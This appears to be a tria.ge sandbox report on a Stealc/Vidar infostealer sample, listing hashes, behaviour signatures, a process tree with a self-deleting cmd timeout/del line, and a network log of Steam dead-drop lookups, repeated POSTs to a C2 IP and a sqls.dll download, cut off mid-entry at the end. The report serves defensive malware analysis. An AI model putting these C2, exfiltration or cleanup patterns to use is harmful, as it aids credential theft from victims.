Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    140s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/05/2024, 00:51 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    f025d3580288f938e2fabb4ee186c4bd318aaace33cf54ff11e1aec088ecf24c.exe

  • Size

    2.1MB

  • MD5

    5869684dd1c4290217e92a9b05c522cd

  • SHA1

    b0f0fe99956affc2b9f16191de0e02d4ec80c9b6

  • SHA256

    f025d3580288f938e2fabb4ee186c4bd318aaace33cf54ff11e1aec088ecf24c

  • SHA512

    87c93a261b3e5fc89189f3c98967efa2e66a1efd9391407874f1c6746f451143fc578c8d7cdc8ac28ba5737122a38f69af03720173d620f13a201df39ee75f14

  • SSDEEP

    49152:N6uDuaS9refa4JtTF+TxMoxc1TU+j+dAzGwlrh:N6uKb9f4tIuoITsdZ

Score
10/10
stealcvidardiscoveryspywarestealer

Malware Config

Extracted

Family

stealc

rc4.plain
1
2910114286690104117195131148

Signatures

  • Detect Vidar Stealer 13 IoCs
    stealer
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 1 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f025d3580288f938e2fabb4ee186c4bd318aaace33cf54ff11e1aec088ecf24c.exe
    "C:\Users\Admin\AppData\Local\Temp\f025d3580288f938e2fabb4ee186c4bd318aaace33cf54ff11e1aec088ecf24c.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4540
    • C:\Users\Admin\AppData\Local\Temp\kat50A0.tmp
      C:\Users\Admin\AppData\Local\Temp\kat50A0.tmp
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1412
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\kat50A0.tmp" & rd /s /q "C:\ProgramData\GHJDHDAECBGC" & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3672
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 10
          4⤵
          • Delays execution with timeout.exe
          PID:3580

Network

  • flag-us
    DNS
    steamcommunity.com
    kat50A0.tmp
    Remote address:
    8.8.8.8:53
    Request
    steamcommunity.com
    IN A
    Response
    steamcommunity.com
    IN A
    104.68.92.92
  • flag-be
    GET
    https://steamcommunity.com/profiles/76561199689717899
    kat50A0.tmp
    Remote address:
    104.68.92.92:443
    Request
    GET /profiles/76561199689717899 HTTP/1.1
    Host: steamcommunity.com
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;
    Expires: Mon, 26 Jul 1997 05:00:00 GMT
    Cache-Control: no-cache
    Date: Wed, 22 May 2024 00:51:21 GMT
    Content-Length: 34822
    Connection: keep-alive
    Set-Cookie: sessionid=597b1c0f72a26e6a17b1a425; Path=/; Secure; SameSite=None
    Set-Cookie: steamCountry=GB%7Cfe228c3a517b45bdff7d83f91a05b883; Path=/; Secure; HttpOnly; SameSite=None
  • flag-us
    DNS
    8.8.8.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.8.8.8.in-addr.arpa
    IN PTR
    Response
    8.8.8.8.in-addr.arpa
    IN PTR
    dnsgoogle
  • flag-us
    DNS
    232.168.11.51.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    232.168.11.51.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.210.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.210.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    92.92.68.104.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    92.92.68.104.in-addr.arpa
    IN PTR
    Response
    92.92.68.104.in-addr.arpa
    IN PTR
    a104-68-92-92deploystaticakamaitechnologiescom
  • flag-de
    GET
    https://78.47.123.174/
    kat50A0.tmp
    Remote address:
    78.47.123.174:443
    Request
    GET / HTTP/1.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
    Host: 78.47.123.174
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Wed, 22 May 2024 00:51:22 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://78.47.123.174/
    kat50A0.tmp
    Remote address:
    78.47.123.174:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----GIJEGDAKEHJECAKEGDHJ
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
    Host: 78.47.123.174
    Content-Length: 279
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Wed, 22 May 2024 00:51:22 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-us
    DNS
    67.31.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    67.31.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    174.123.47.78.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    174.123.47.78.in-addr.arpa
    IN PTR
    Response
    174.123.47.78.in-addr.arpa
    IN PTR
    static1741234778clients your-serverde
  • flag-nl
    GET
    https://www.bing.com/th?id=OADD2.10239359720591_10PHTLBML42K6TRZO&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90
    Remote address:
    23.62.61.97:443
    Request
    GET /th?id=OADD2.10239359720591_10PHTLBML42K6TRZO&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/2.0
    host: www.bing.com
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-type: image/png
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QWthbWFp"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    content-length: 1107
    date: Wed, 22 May 2024 00:51:23 GMT
    alt-svc: h3=":443"; ma=93600
    x-cdn-traceid: 0.5d3d3e17.1716339083.617683a
  • flag-de
    POST
    https://78.47.123.174/
    kat50A0.tmp
    Remote address:
    78.47.123.174:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----CBKJJEHCBAKFBFHJKFBK
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
    Host: 78.47.123.174
    Content-Length: 331
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Wed, 22 May 2024 00:51:23 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://78.47.123.174/
    kat50A0.tmp
    Remote address:
    78.47.123.174:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----BKECFIIEHCFHIECAFBAK
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
    Host: 78.47.123.174
    Content-Length: 331
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Wed, 22 May 2024 00:51:23 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-us
    DNS
    43.58.199.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    43.58.199.20.in-addr.arpa
    IN PTR
    Response
  • flag-de
    POST
    https://78.47.123.174/
    kat50A0.tmp
    Remote address:
    78.47.123.174:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----AKFHCAKJDBKKEBFIIJJE
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
    Host: 78.47.123.174
    Content-Length: 332
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Wed, 22 May 2024 00:51:24 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://78.47.123.174/
    kat50A0.tmp
    Remote address:
    78.47.123.174:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----JDAFBKECAKFCAAAKJDAK
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
    Host: 78.47.123.174
    Content-Length: 4761
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Wed, 22 May 2024 00:51:24 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-us
    DNS
    97.61.62.23.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    97.61.62.23.in-addr.arpa
    IN PTR
    Response
    97.61.62.23.in-addr.arpa
    IN PTR
    a23-62-61-97deploystaticakamaitechnologiescom
  • flag-de
    GET
    https://78.47.123.174/sqls.dll
    kat50A0.tmp
    Remote address:
    78.47.123.174:443
    Request
    GET /sqls.dll HTTP/1.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
    Host: 78.47.123.174
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Wed, 22 May 2024 00:51:24 GMT
    Content-Type: application/octet-stream
    Content-Length: 2459136
    Last-Modified: Sun, 19 May 2024 16:18:18 GMT
    Connection: keep-alive
    ETag: "664a264a-258600"
    Accept-Ranges: bytes
  • flag-de
    POST
    https://78.47.123.174/
    kat50A0.tmp
    Remote address:
    78.47.123.174:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----AKFHCAKJDBKKEBFIIJJE
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
    Host: 78.47.123.174
    Content-Length: 437
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Wed, 22 May 2024 00:51:26 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://78.47.123.174/
    kat50A0.tmp
    Remote address:
    78.47.123.174:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----GCGDHJDAFHJEBFIDAFHI
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
    Host: 78.47.123.174
    Content-Length: 437
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Wed, 22 May 2024 00:51:27 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://78.47.123.174/
    kat50A0.tmp
    Remote address:
    78.47.123.174:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----KKKJEHCGCGDAAAKFHJKJ
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
    Host: 78.47.123.174
    Content-Length: 331
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Wed, 22 May 2024 00:51:27 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://78.47.123.174/
    kat50A0.tmp
    Remote address:
    78.47.123.174:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----CBKJJEHCBAKFBFHJKFBK
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
    Host: 78.47.123.174
    Content-Length: 331
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Wed, 22 May 2024 00:51:28 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://78.47.123.174/
    kat50A0.tmp
    Remote address:
    78.47.123.174:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----CFBAKKJDBKJJJKFHDAEB
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
    Host: 78.47.123.174
    Content-Length: 331
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Wed, 22 May 2024 00:51:28 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://78.47.123.174/
    kat50A0.tmp
    Remote address:
    78.47.123.174:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJ
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
    Host: 78.47.123.174
    Content-Length: 453
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Wed, 22 May 2024 00:51:29 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://78.47.123.174/
    kat50A0.tmp
    Remote address:
    78.47.123.174:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCB
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
    Host: 78.47.123.174
    Content-Length: 113965
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Wed, 22 May 2024 00:51:30 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://78.47.123.174/
    kat50A0.tmp
    Remote address:
    78.47.123.174:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----ECGHJJEHDHCAAKFIIDGI
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
    Host: 78.47.123.174
    Content-Length: 331
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Wed, 22 May 2024 00:51:30 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-us
    DNS
    217.106.137.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    217.106.137.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    13.86.106.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    13.86.106.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    26.165.165.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    26.165.165.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    198.187.3.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    198.187.3.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    0.204.248.87.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    0.204.248.87.in-addr.arpa
    IN PTR
    Response
    0.204.248.87.in-addr.arpa
    IN PTR
    https-87-248-204-0lhrllnwnet
  • flag-us
    DNS
    55.36.223.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    55.36.223.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    23.236.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    23.236.111.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    tse1.mm.bing.net
    Remote address:
    8.8.8.8:53
    Request
    tse1.mm.bing.net
    IN A
    Response
    tse1.mm.bing.net
    IN CNAME
    mm-mm.bing.net.trafficmanager.net
    mm-mm.bing.net.trafficmanager.net
    IN CNAME
    dual-a-0001.a-msedge.net
    dual-a-0001.a-msedge.net
    IN A
    204.79.197.200
    dual-a-0001.a-msedge.net
    IN A
    13.107.21.200
  • flag-us
    GET
    https://tse1.mm.bing.net/th?id=OADD2.10239360931610_110BPTPDN41GIXK2B&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90
    Remote address:
    204.79.197.200:443
    Request
    GET /th?id=OADD2.10239360931610_110BPTPDN41GIXK2B&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 415458
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: 23438C753C824A09ACCD7F430D2F36A4 Ref B: LON04EDGE1014 Ref C: 2024-05-22T00:53:00Z
    date: Wed, 22 May 2024 00:53:00 GMT
  • flag-us
    GET
    https://tse1.mm.bing.net/th?id=OADD2.10239360931609_1JAA48IJSET6WWQHH&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90
    Remote address:
    204.79.197.200:443
    Request
    GET /th?id=OADD2.10239360931609_1JAA48IJSET6WWQHH&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 430689
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: A809BEC4FACD4D9E8CDC7E5FC67D3C62 Ref B: LON04EDGE1014 Ref C: 2024-05-22T00:53:00Z
    date: Wed, 22 May 2024 00:53:00 GMT
  • flag-us
    DNS
    200.197.79.204.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    200.197.79.204.in-addr.arpa
    IN PTR
    Response
    200.197.79.204.in-addr.arpa
    IN PTR
    a-0001a-msedgenet
  • 104.68.92.92:443
    https://steamcommunity.com/profiles/76561199689717899
    tls, http
    kat50A0.tmp
    2.4kB
     42.3kB
     39
    35

    HTTP Request

    GET https://steamcommunity.com/profiles/76561199689717899

    HTTP Response

    200
  • 78.47.123.174:443
    https://78.47.123.174/
    tls, http
    kat50A0.tmp
    960 B
     2.7kB
     11
    8

    HTTP Request

    GET https://78.47.123.174/

    HTTP Response

    200
  • 78.47.123.174:443
    https://78.47.123.174/
    tls, http
    kat50A0.tmp
    1.4kB
     622 B
     9
    6

    HTTP Request

    POST https://78.47.123.174/

    HTTP Response

    200
  • 23.62.61.97:443
    https://www.bing.com/th?id=OADD2.10239359720591_10PHTLBML42K6TRZO&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90
    tls, http2
    1.4kB
     6.3kB
     16
    11

    HTTP Request

    GET https://www.bing.com/th?id=OADD2.10239359720591_10PHTLBML42K6TRZO&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90

    HTTP Response

    200
  • 78.47.123.174:443
    https://78.47.123.174/
    tls, http
    kat50A0.tmp
    1.5kB
     2.2kB
     10
    7

    HTTP Request

    POST https://78.47.123.174/

    HTTP Response

    200
  • 78.47.123.174:443
    https://78.47.123.174/
    tls, http
    kat50A0.tmp
    1.6kB
     6.3kB
     13
    10

    HTTP Request

    POST https://78.47.123.174/

    HTTP Response

    200
  • 78.47.123.174:443
    https://78.47.123.174/
    tls, http
    kat50A0.tmp
    1.4kB
     672 B
     9
    6

    HTTP Request

    POST https://78.47.123.174/

    HTTP Response

    200
  • 78.47.123.174:443
    https://78.47.123.174/
    tls, http
    kat50A0.tmp
    6.1kB
     605 B
     13
    7

    HTTP Request

    POST https://78.47.123.174/

    HTTP Response

    200
  • 78.47.123.174:443
    https://78.47.123.174/sqls.dll
    tls, http
    kat50A0.tmp
    90.9kB
     2.5MB
     1835
    1829

    HTTP Request

    GET https://78.47.123.174/sqls.dll

    HTTP Response

    200
  • 78.47.123.174:443
    https://78.47.123.174/
    tls, http
    kat50A0.tmp
    1.5kB
     565 B
     9
    6

    HTTP Request

    POST https://78.47.123.174/

    HTTP Response

    200
  • 78.47.123.174:443
    https://78.47.123.174/
    tls, http
    kat50A0.tmp
    1.5kB
     565 B
     9
    6

    HTTP Request

    POST https://78.47.123.174/

    HTTP Response

    200
  • 78.47.123.174:443
    tls
    kat50A0.tmp
    717 B
     281 B
     7
    4
  • 78.47.123.174:443
    tls
    kat50A0.tmp
    717 B
     281 B
     7
    4
  • 78.47.123.174:443
    tls
    kat50A0.tmp
    717 B
     281 B
     7
    4
  • 78.47.123.174:443
    tls
    kat50A0.tmp
    717 B
     281 B
     7
    4
  • 78.47.123.174:443
    tls
    kat50A0.tmp
    717 B
     281 B
     7
    4
  • 78.47.123.174:443
    tls
    kat50A0.tmp
    717 B
     281 B
     7
    4
  • 78.47.123.174:443
    https://78.47.123.174/
    tls, http
    kat50A0.tmp
    1.5kB
     2.8kB
     10
    7

    HTTP Request

    POST https://78.47.123.174/

    HTTP Response

    200
  • 78.47.123.174:443
    https://78.47.123.174/
    tls, http
    kat50A0.tmp
    1.4kB
     558 B
     9
    6

    HTTP Request

    POST https://78.47.123.174/

    HTTP Response

    200
  • 78.47.123.174:443
    https://78.47.123.174/
    tls, http
    kat50A0.tmp
    1.5kB
     2.1kB
     10
    7

    HTTP Request

    POST https://78.47.123.174/

    HTTP Response

    200
  • 78.47.123.174:443
    https://78.47.123.174/
    tls, http
    kat50A0.tmp
    1.6kB
     565 B
     9
    6

    HTTP Request

    POST https://78.47.123.174/

    HTTP Response

    200
  • 78.47.123.174:443
    https://78.47.123.174/
    tls, http
    kat50A0.tmp
    118.6kB
     1.3kB
     93
    25

    HTTP Request

    POST https://78.47.123.174/

    HTTP Response

    200
  • 78.47.123.174:443
    https://78.47.123.174/
    tls, http
    kat50A0.tmp
    1.4kB
     518 B
     8
    5

    HTTP Request

    POST https://78.47.123.174/

    HTTP Response

    200
  • 204.79.197.200:443
    tse1.mm.bing.net
    tls, http2
    1.2kB
     8.1kB
     16
    14
  • 204.79.197.200:443
    https://tse1.mm.bing.net/th?id=OADD2.10239360931609_1JAA48IJSET6WWQHH&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90
    tls, http2
    31.5kB
     883.2kB
     651
    647

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239360931610_110BPTPDN41GIXK2B&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239360931609_1JAA48IJSET6WWQHH&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90

    HTTP Response

    200

    HTTP Response

    200
  • 8.8.8.8:53
    steamcommunity.com
    dns
    kat50A0.tmp
    64 B
     80 B
     1
    1

    DNS Request

    steamcommunity.com

    DNS Response

    104.68.92.92

  • 8.8.8.8:53
    8.8.8.8.in-addr.arpa
    dns
    66 B
     90 B
     1
    1

    DNS Request

    8.8.8.8.in-addr.arpa

  • 8.8.8.8:53
    232.168.11.51.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    232.168.11.51.in-addr.arpa

  • 8.8.8.8:53
    172.210.232.199.in-addr.arpa
    dns
    74 B
     128 B
     1
    1

    DNS Request

    172.210.232.199.in-addr.arpa

  • 8.8.8.8:53
    92.92.68.104.in-addr.arpa
    dns
    71 B
     135 B
     1
    1

    DNS Request

    92.92.68.104.in-addr.arpa

  • 8.8.8.8:53
    67.31.126.40.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    67.31.126.40.in-addr.arpa

  • 8.8.8.8:53
    174.123.47.78.in-addr.arpa
    dns
    72 B
     129 B
     1
    1

    DNS Request

    174.123.47.78.in-addr.arpa

  • 8.8.8.8:53
    43.58.199.20.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    43.58.199.20.in-addr.arpa

  • 8.8.8.8:53
    97.61.62.23.in-addr.arpa
    dns
    70 B
     133 B
     1
    1

    DNS Request

    97.61.62.23.in-addr.arpa

  • 8.8.8.8:53
    217.106.137.52.in-addr.arpa
    dns
    73 B
